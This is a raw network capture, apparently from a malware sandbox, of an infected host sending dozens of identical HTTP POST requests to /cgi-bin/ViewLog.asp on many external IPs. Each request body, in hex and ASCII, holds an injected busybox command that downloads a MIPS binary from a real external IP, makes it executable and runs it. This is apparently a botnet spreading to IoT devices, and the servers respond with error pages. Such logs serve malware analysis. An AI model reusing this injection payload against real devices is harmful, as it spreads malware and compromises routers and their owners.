Nov 23, 2023 05:17:50.759743929 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.13	37760	95.86.99.213	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.764882088 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.13	41882	31.173.123.50	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.843944073 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:51.208892107 CET	530	IN	HTTP/1.1 404 Not Found Date: Thu, 23 Nov 2023 09:17:50 GMT Server: Webs X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Cache-Control: no-store Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.13	58048	31.182.116.135	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.929810047 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.13	35080	94.122.65.138	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.959572077 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.13	38200	94.72.88.107	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:51.067338943 CET	194	IN	HTTP/1.1 403 Forbidden Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close Cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.13	45942	85.152.234.214	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:51.094239950 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.13	57804	62.224.192.241	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:51.124191046 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:52.105366945 CET	113	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
578	192.168.2.13	35420	94.23.144.212	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:51.323066950 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:51.504118919 CET	374	IN	HTTP/1.1 404 Not Found Server: nginx/1.21.6 Date: Thu, 23 Nov 2023 04:17:51 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 36 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.21.6</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.13	36024	62.29.9.121	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:51.373037100 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:55.494211912 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.13	44688	62.29.34.164	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:51.373075008 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:55.494218111 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.13	36208	62.212.239.37	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:51.401807070 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:51.675234079 CET	505	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:17:51 GMT Server: Apache/2.4.41 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1f Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.13	57954	85.69.31.32	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:51.518260002 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:52.134294987 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.318243027 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:55.750232935 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:00.614197969 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:10.086203098 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.13	43424	94.121.149.44	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:51.640326977 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:52.870223045 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:54.310257912 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:57.286216021 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
